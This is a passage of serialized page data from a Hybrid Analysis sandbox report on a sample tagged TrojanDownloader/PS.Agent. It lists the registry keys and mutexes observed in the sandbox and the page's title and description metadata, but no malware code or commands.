LMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUST\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2240:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:2240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:2240:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:2240:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:2240:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2240:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:3044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:3044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:3044:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:3044:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3044:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3044:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3044:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:3108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:3108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:3108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:3108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:5872:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"SM0:5872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Local\\SM0:5872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5872:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6572:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6572:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}]}},"report_ids":{"sandbox_job_ids":["69c5a0b938d88758150336f9"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious TrojanDownloader/PS.Agent Sample 2cab35576d40… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2cab35576d40…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/25 AV engines flagged this file. 7 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d"}],["$","meta","4",{"property":"og:title","content":"Malicious TrojanDownloader/PS.Agent Sample 2cab35576d40… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2cab35576d40…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/25 AV engines flagged this file. 7 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TrojanDownloader/PS.Agent Sample 2cab35576d40… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2cab35576d40…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/25 AV engines flagged this file. 7 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]]